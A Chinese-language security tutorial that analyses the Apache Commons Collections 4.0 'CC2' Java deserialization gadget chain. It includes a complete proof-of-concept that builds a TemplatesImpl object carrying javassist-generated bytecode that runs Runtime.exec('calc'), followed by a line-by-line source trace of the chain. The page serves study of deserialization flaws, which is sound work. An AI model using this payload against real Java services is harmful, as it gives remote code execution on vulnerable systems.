Java安全 CC链2分析

Java安全 CC链2分析

cc链2介绍

CC2链适用于Apache common collection 4.0版本,由于该版本对AnnotationInvocationHandler类readObject方法进行了修复,导致cc链1无法使用,故产生了cc链2,cc链2与cc链3相似,都使用了字节码的加载,并且后续的触发链也基本相同

前置知识

环境配置

有关环境配置请看

Java安全 CC链1分析

不同的是由于我们需要使用的版本为cc4,故需要设置pom.xml文件依赖内容如下

xml 复制代码
    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.19.0-GA</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>

类加载机制

可以看这篇文章

Java安全 CC链3分析

触发流程

ysoserial中给出的链

xml 复制代码
ObjectInputStream.readObject()
			PriorityQueue.readObject()
				PriorityQueue.heapify();
					PriorityQueue.siftDown();
   						siftUpUsingComparator();
							TransformingComparator.compare()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

cc链2POC

java 复制代码
package org.example;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class cc2 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("cc2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes=payload.toBytecode();//转换为byte数组

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
        queue.add(1);//添加数字1插入此优先级队列
        queue.add(1);//添加数字1插入此优先级队列

        Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(queue,comparator);//设置queue的comparator字段值为comparator

        Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

cc链2分析

先看下PriorityQueue类中的readObject方法,代码如下

java 复制代码
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        s.readInt();
        queue = new Object[size];
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
        heapify();
    }

这里我们发现,会先调用defaultReadObject()方法将序列化文件反序列化,然后调用readInt()方法获取优先队列的长度

然后执行 queue[i] = s.readObject(),将优先队列的值赋值给queue[i]数组,queue[i]数组值是在调用writeObject方法序列化时定义的,

queue属性为私有的,我们可以通过反射将其赋值为携带有恶意字节码的TemplatesImpl对象,具体利用下面有讲

在对queue[i]循环赋值 完成后会调用heapify()方法,我们跟进查看其代码

java 复制代码
    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

我们看到代码 int i = (size >>> 1) - 1;,此代码会将优先队列的长度右移1位(缩小两倍),然后减1,如果我们想让循环正常进行的话,优先队列的长度至少为2

然后我们看到循环中的 siftDown方法,代码如下

java 复制代码
    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

这里E x则为刚才传入的queue[i],我们跟进到siftDownUsingComparator方法,代码如下

java 复制代码
    private void siftUpUsingComparator(int k, E x) {
        while (k > 0) {
            int parent = (k - 1) >>> 1;
            Object e = queue[parent];
            if (comparator.compare(x, (E) e) >= 0) //由此进入
                break;
            queue[k] = e;
            k = parent;
        }
        queue[k] = x;
    }

这里会对queue[i]执行comparator.compare方法,我们看到comparator属性的定义如下

java 复制代码
    private final Comparator<? super E> comparator;

我们发现comparator属性为私有的,在poc当中通过反射 把该属性的值设为了TransformingComparator对象,代码如下

java 复制代码
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象

我们跟进到该对象的compare方法,代码如下

java 复制代码
    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

这里调用了InvokerTransformer对象**(transformer属性)**的transform方法,我们跟进查看代码

java 复制代码
    public O transform(final Object input) {
        if (input == null) {
            return null;
        }
        try {
            final Class<?> cls = input.getClass();
            final Method method = cls.getMethod(iMethodName, iParamTypes);
            return (O) method.invoke(input, iArgs);
        } catch (final NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                       input.getClass() + "' does not exist");
        } catch (final IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                       input.getClass() + "' cannot be accessed");
        } catch (final InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                       input.getClass() + "' threw an exception", ex);
        }
    }

这里的input属性仍为之前的queue[i]iMethodName属性的值为我们创建对象时,通过构造方法穿进去的"newTransformer"

method.invoke(input, iArgs);这句代码会调用queue[i]newTransformer方法

poc中的queue[0]被赋值为TemplatesImpl对象,定义如下

java 复制代码
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});

//templatesImpl即为携带恶意静态代码的对象

下面流程基本和cc3相同了

我们跟进到TemplatesImpl对象newTransformer方法,代码如下

java 复制代码
    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory); //关键语句

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

我们代码中标注的关键语句调用了getTransletInstance()方法,我们查看其代码如下

java 复制代码
private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
            if (_class == null) defineTransletClasses();
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
........................
        }

可以看到假如满足if (_name != null)if (_class == null)的话会调用defineTransletClasses()方法,代码如下

java 复制代码
private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
............
            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass(); //注意
                
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
............
    }

这里会加载携带恶意静态代码的字节流类 _bytecodes复制给数组_class[i],然后回到getTransletInstance()方法

执行AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();这里会将刚才携带恶意代码的类进行初始化执行静态恶意代码,到此攻击完成

需要注意的是我们构造的这个字节流序列化对象要为AbstractTranslet类的子类

成功弹出计算器

相关推荐
魔道不误砍柴功5 分钟前
Java 中如何巧妙应用 Function 让方法复用性更强
java·开发语言·python
NiNg_1_2345 分钟前
SpringBoot整合SpringSecurity实现密码加密解密、登录认证退出功能
java·spring boot·后端
闲晨8 分钟前
C++ 继承:代码传承的魔法棒,开启奇幻编程之旅
java·c语言·开发语言·c++·经验分享
测开小菜鸟2 小时前
使用python向钉钉群聊发送消息
java·python·钉钉
P.H. Infinity3 小时前
【RabbitMQ】04-发送者可靠性
java·rabbitmq·java-rabbitmq
生命几十年3万天3 小时前
java的threadlocal为何内存泄漏
java
caridle3 小时前
教程:使用 InterBase Express 访问数据库(五):TIBTransaction
java·数据库·express
^velpro^3 小时前
数据库连接池的创建
java·开发语言·数据库
苹果醋33 小时前
Java8->Java19的初步探索
java·运维·spring boot·mysql·nginx